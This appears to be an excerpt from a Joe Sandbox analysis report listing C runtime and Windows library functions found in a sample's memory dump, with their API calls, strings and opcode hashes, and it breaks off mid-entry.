Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: ee1809c7fbfe8fe136b003fb3be94c9213cbc22be77ffdee26613d8d8fce83c2
Instruction ID: 1f74526bdc23f735f0adf2182cc74226c06b84bc3e861e015fa6f51c40037900
Opcode Fuzzy Hash: ee1809c7fbfe8fe136b003fb3be94c9213cbc22be77ffdee26613d8d8fce83c2
Instruction Fuzzy Hash: 40D17D32908781C6EB20AF6594503ADB7A0FB457C8F984136EA8D5BB95DF3CE19AC710

Function 00007FF767F06400 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF767F06B08,?,?,?,?,00007FF767EFFFA9,?,?,?,?,00007FF767EF6E60), ref: 00007FF767F0657C
GetProcAddress.KERNEL32(?,?,?,00007FF767F06B08,?,?,?,?,00007FF767EFFFA9,?,?,?,?,00007FF767EF6E60), ref: 00007FF767F06588

Strings

api-ms-, xrefs: 00007FF767F064C6
ext-ms-, xrefs: 00007FF767F064D9

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 289b252e76c797c21b5f023d4d7c5738725c70101b4476a1829e9950c1a11480
Instruction ID: fa063a51409abc474ce197833f49ca668827363e8d41a852ca7769c625b3524e
Opcode Fuzzy Hash: 289b252e76c797c21b5f023d4d7c5738725c70101b4476a1829e9950c1a11480
Instruction Fuzzy Hash: BF41F231B19A02C1EA16EB12A8309F5A395BF45BE4F994135FD0E47B88EE3CE4478320

Function 00007FF767F03A40 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F03A83
_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F03E70
_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0410C

Strings

f, xrefs: 00007FF767F03BA5
p, xrefs: 00007FF767F03BAD
p, xrefs: 00007FF767F03B35

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: dec70707f6924979680810ea5ec79d9b498a17b86748ca286f0cf39edf5d9672
Instruction ID: 243a4015fff61bea292ad9db80d77076865d7f05be9a18d49bff6188209bece3
Opcode Fuzzy Hash: dec70707f6924979680810ea5ec79d9b498a17b86748ca286f0cf39edf5d9672
Instruction Fuzzy Hash: A9126E21A08143C6FB246A24E074EF9E7A1FF91796FD44139E69A467C4DF3CE5838B21

Function 00007FF767F07A60 Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F07E8D

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f691b260bc46caa059fc1d59d9bd43d62ef92d00f3645d7fa93bfa92697d6b14
Instruction ID: 523774691548c8ccf8ea7d16a0c3f20e11b763f7e85b5177d5f08ecfa8383056
Opcode Fuzzy Hash: f691b260bc46caa059fc1d59d9bd43d62ef92d00f3645d7fa93bfa92697d6b14
Instruction Fuzzy Hash: 0FC1E022A09686C5EB61AB149470AFDFB91FB81BD1FD54171EA4E03391CE7CE8478731

Function 00007FF767EFD4EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF767EFD79E,?,?,?,00007FF767EFD3EC,?,?,?,00007FF767EF9E59), ref: 00007FF767EFD571
GetLastError.KERNEL32(?,?,?,00007FF767EFD79E,?,?,?,00007FF767EFD3EC,?,?,?,00007FF767EF9E59), ref: 00007FF767EFD57F
LoadLibraryExW.KERNEL32(?,?,?,00007FF767EFD79E,?,?,?,00007FF767EFD3EC,?,?,?,00007FF767EF9E59), ref: 00007FF767EFD5A9
FreeLibrary.KERNEL32(?,?,?,00007FF767EFD79E,?,?,?,00007FF767EFD3EC,?,?,?,00007FF767EF9E59), ref: 00007FF767EFD617
GetProcAddress.KERNEL32(?,?,?,00007FF767EFD79E,?,?,?,00007FF767EFD3EC,?,?,?,00007FF767EF9E59), ref: 00007FF767EFD623

Strings

api-ms-, xrefs: 00007FF767EFD591

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: d8e360d3a3f465031357ae92f49d5ddd019760dd9654fcee9edd8a148cf45f4c
Instruction ID: f59bc2f06aa92a29d59d24cbcae56325b5b12e4cfbf5f6674f94e71cfa244c27
Opcode Fuzzy Hash: d8e360d3a3f465031357ae92f49d5ddd019760dd9654fcee9edd8a148cf45f4c
Instruction Fuzzy Hash: 8931C735A19641D1EF26EB12A830574A794BF54BE8FED0535ED1D07B84DE3CE44B8620

Function 00007FF767F0492C Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF767F0493B
FlsGetValue.KERNEL32 ref: 00007FF767F04950
FlsSetValue.KERNEL32 ref: 00007FF767F04971
FlsSetValue.KERNEL32 ref: 00007FF767F0499E
FlsSetValue.KERNEL32 ref: 00007FF767F049AF
FlsSetValue.KERNEL32 ref: 00007FF767F049C0
SetLastError.KERNEL32 ref: 00007FF767F049DB

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: d04c3ef76cf631755ac610aa550631e7164c62029449f8e2ba6edc84352130c4
Instruction ID: 65c7b8c10ce1fd8522d0410b213584fd8d9a108688296d1dd1c788baef6140dc
Opcode Fuzzy Hash: d04c3ef76cf631755ac610aa550631e7164c62029449f8e2ba6edc84352130c4
Instruction Fuzzy Hash: 44217C20B0C242C2FA2877655575DB9E3429FA57F1F944735E93E0BBC6EE2CA4834221

Function 00007FF767F11200 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF767F11231
GetLastError.KERNEL32 ref: 00007FF767F1123D
CloseHandle.KERNEL32 ref: 00007FF767F11255
CreateFileW.KERNEL32 ref: 00007FF767F11280
WriteConsoleW.KERNEL32 ref: 00007FF767F1129F

Strings

CONOUT$, xrefs: 00007FF767F11261

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f25c2d8c593b11f8c83384468c2dd056456f1e66f8aabcddf9c567de3769352b
Instruction ID: a180f62f5e0cc456d6bbc64dd90565d2ca58265c601293bd5522f70ed59d92ee
Opcode Fuzzy Hash: f25c2d8c593b11f8c83384468c2dd056456f1e66f8aabcddf9c567de3769352b
Instruction Fuzzy Hash: 2B11B431B18A81C2E751AB42F864B65B3A0FB98FE4F440234E91D83B94DF3CD5068750

Function 00007FF767EF7A78 Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF767EF7AE8
MultiByteToWideChar.KERNEL32 ref: 00007FF767EF7B86
LCMapStringEx.KERNEL32 ref: 00007FF767EF7BEF
LCMapStringEx.KERNEL32 ref: 00007FF767EF7C41
LCMapStringEx.KERNEL32 ref: 00007FF767EF7CE6
WideCharToMultiByte.KERNEL32 ref: 00007FF767EF7D40

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 5ee8c5b108fca4a97ddfb8b367f05df98f08852e8ccaf75ced40f6c020011866
Instruction ID: 15de3f95b21f65dfab82b714579107ea1c0b82ee8be1818117c598811a532f98
Opcode Fuzzy Hash: 5ee8c5b108fca4a97ddfb8b367f05df98f08852e8ccaf75ced40f6c020011866
Instruction Fuzzy Hash: DA81A172A08742C6EB20AF11A460679B396FB557E8FD80235EA5D47FD4DF3CD40A8720

Function 00007FF767EF54A0 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF767EF54E7
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF767EF550C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF767EF5536
std::_Facet_Register.LIBCPMT ref: 00007FF767EF55B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF767EF55CA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF767EF5624

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: bf138b911cd8e884d20b3277601c18e0904331efa30289f53c243972f023fb2a
Instruction ID: 17c9f17e3a851dbecb597e6d62b6ba2d39073ebff2b74cd935e431a3d548802c
Opcode Fuzzy Hash: bf138b911cd8e884d20b3277601c18e0904331efa30289f53c243972f023fb2a
Instruction Fuzzy Hash: B8412132A08B41C1EB50EB25E4645A9B761FB54BD4FCC5132FA9E03BA5DE3CE44AC720

Function 00007FF767EF5860 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF767EF588B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF767EF58B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF767EF58DA
std::_Facet_Register.LIBCPMT ref: 00007FF767EF5951
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF767EF596B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF767EF5993

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 2122288b5b25a0ed3ac52127f55f76d71ece30480fceaf66fc8f0ccfee7979f4
Instruction ID: 1bda2922a516e901a834528922fe491263b7a0de980f5eb6f519ea1145c6d772
Opcode Fuzzy Hash: 2122288b5b25a0ed3ac52127f55f76d71ece30480fceaf66fc8f0ccfee7979f4
Instruction Fuzzy Hash: B8318432A08A41C1EB24EF15E4605B9A360EB54BE4FCC4532EA6D47AA5DE3CE54BC720

Function 00007FF767EFB090 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF767EFB22E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF767EFB557

Strings

csm, xrefs: 00007FF767EFB255
csm, xrefs: 00007FF767EFB1D7
csm, xrefs: 00007FF767EFB175

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: b8e5615955f7dc2eb55b848d6ff6062bcaa0ce4322343a125c005f31dd50ef8c
Instruction ID: 372b7f422c7e5aa0871391659a0a4174b4bf41a996099d06a50877c81a24d63a
Opcode Fuzzy Hash: b8e5615955f7dc2eb55b848d6ff6062bcaa0ce4322343a125c005f31dd50ef8c
Instruction Fuzzy Hash: 24E1A272D08681CAE710AF34D4A02BDB7A1EB45788FD84135EE8D57A56DE3CE58ACB10

Function 00007FF767F04AA4 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000,00007FF767F00CCF,?,?,?), ref: 00007FF767F04AB3
FlsSetValue.KERNEL32(?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000,00007FF767F00CCF,?,?,?), ref: 00007FF767F04AE9
FlsSetValue.KERNEL32(?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000,00007FF767F00CCF,?,?,?), ref: 00007FF767F04B16
FlsSetValue.KERNEL32(?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000,00007FF767F00CCF,?,?,?), ref: 00007FF767F04B27
FlsSetValue.KERNEL32(?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000,00007FF767F00CCF,?,?,?), ref: 00007FF767F04B38
SetLastError.KERNEL32(?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000,00007FF767F00CCF,?,?,?), ref: 00007FF767F04B53

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: fe0ae5ef39680950f082b9c9243911a15f62eee9918eac701ddc88b5fb223efa
Instruction ID: c15ce43eb3efd902a780bf68bfb559c63e76cddc54047c3d16110c0fe95558ee
Opcode Fuzzy Hash: fe0ae5ef39680950f082b9c9243911a15f62eee9918eac701ddc88b5fb223efa
Instruction Fuzzy Hash: DA116D20B08282C1FA18776955759B9E342AF557F5F800635E93E07BC6EE6CA4834220

Function 00007FF767EF1B30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF767EF1B9B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF767EF1BE3
_Getctype.LIBCPMT ref: 00007FF767EF1BFB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF767EF1C8B

Strings

bad locale name, xrefs: 00007FF767EF1CAE

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 3d6d4fad8a00866f6e3c776309861b3f13548d4d884e2ecd0977807a0c359330
Instruction ID: a728f19080018efc48b6ef44ab8b5a0b997e0bef4dace0edc8b8028c42db97df
Opcode Fuzzy Hash: 3d6d4fad8a00866f6e3c776309861b3f13548d4d884e2ecd0977807a0c359330
Instruction Fuzzy Hash: 32410832B09A41C9EB15EFA0D4A02BCA364AF54788FC84535EE4D27E95DE3CA51BD360

Function 00007FF767F01130 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF767F01155
GetProcAddress.KERNEL32 ref: 00007FF767F0116B
FreeLibrary.KERNEL32 ref: 00007FF767F01192

Strings

mscoree.dll, xrefs: 00007FF767F0114C
CorExitProcess, xrefs: 00007FF767F01164

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a92427a8a7a94bc3e110f6083a1c86e9f30f9f999ec61db51a8263dfc59daad0
Instruction ID: c8e5ed73dab9b0d55f965bccab97c777dd54b59becef92e2e521b4941fda92e4
Opcode Fuzzy Hash: a92427a8a7a94bc3e110f6083a1c86e9f30f9f999ec61db51a8263dfc59daad0
Instruction Fuzzy Hash: 28F04F71A18602C1EB15AB24E474BB9A364AF85BF9FD40239D96D452E4CF2CD5479320

Function 00007FF767EFA490 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF767EFA5B3
__AdjustPointer.LIBCMT ref: 00007FF767EFA5FE

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d23c261393fe5d9345011d4d8cae44813ade9e9095501f5385085d884223d958
Instruction ID: ba85485b686430d7af57cf5dd174882a962f737a4ce047e6b928896b605a3013
Opcode Fuzzy Hash: d23c261393fe5d9345011d4d8cae44813ade9e9095501f5385085d884223d958
Instruction Fuzzy Hash: 8CB1C031A4A682C1EB65BE159460638E3A4AF45BC4FCE8435EE4D0FF85DE2CE44B8760

Function 00007FF767F11C48 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF767F11C70
_set_statfp.LIBCMT ref: 00007FF767F11C8B
_set_statfp.LIBCMT ref: 00007FF767F11CA7
_set_statfp.LIBCMT ref: 00007FF767F11CE3

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 5785710400c8fee3bac2d009e2e74cd863281d11c80b40594c2ba0b0a5132646
Instruction ID: f22cdf373198a1e3cca0955668d7f59bd34751d0401c8be9c303c52a4c65aab5
Opcode Fuzzy Hash: 5785710400c8fee3bac2d009e2e74cd863281d11c80b40594c2ba0b0a5132646
Instruction Fuzzy Hash: 31118272E58A07C1F6653169E471BF5A3807FB43E0F890634E96E163D6CE2CA843D120

Function 00007FF767F04B6C Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF767EFF3EB,?,?,00000000,00007FF767EFF686,?,?,?,?,?,00007FF767EFF612), ref: 00007FF767F04B8B
FlsSetValue.KERNEL32(?,?,?,00007FF767EFF3EB,?,?,00000000,00007FF767EFF686,?,?,?,?,?,00007FF767EFF612), ref: 00007FF767F04BAA
FlsSetValue.KERNEL32(?,?,?,00007FF767EFF3EB,?,?,00000000,00007FF767EFF686,?,?,?,?,?,00007FF767EFF612), ref: 00007FF767F04BD2
FlsSetValue.KERNEL32(?,?,?,00007FF767EFF3EB,?,?,00000000,00007FF767EFF686,?,?,?,?,?,00007FF767EFF612), ref: 00007FF767F04BE3
FlsSetValue.KERNEL32(?,?,?,00007FF767EFF3EB,?,?,00000000,00007FF767EFF686,?,?,?,?,?,00007FF767EFF612), ref: 00007FF767F04BF4

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 9293b31000964a656832f7149118382f3e1ddcbe4443de3bfe44b55614d61fc5
Instruction ID: 587392420259ed64275c6372e499c913ce31e8e3b05ddfbc9fe702ff36563e25
Opcode Fuzzy Hash: 9293b31000964a656832f7149118382f3e1ddcbe4443de3bfe44b55614d61fc5
Instruction Fuzzy Hash: D9116D60A08242C1FA58B3696571DF9E3425F553E1F844735E43D0ABD6EE2CA4838621

Function 00007FF767F04A00 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF767F04A11
FlsSetValue.KERNEL32 ref: 00007FF767F04A30
FlsSetValue.KERNEL32 ref: 00007FF767F04A58
FlsSetValue.KERNEL32 ref: 00007FF767F04A69
FlsSetValue.KERNEL32 ref: 00007FF767F04A7A

Memory Dump Source

